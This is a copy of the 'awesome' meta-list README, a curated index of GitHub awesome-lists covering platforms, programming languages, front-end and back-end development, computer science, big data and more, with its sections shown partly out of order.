- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/kennethreitz/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](https://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
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<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
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<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
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<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [Assembler](https://github.com/lurumdare/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
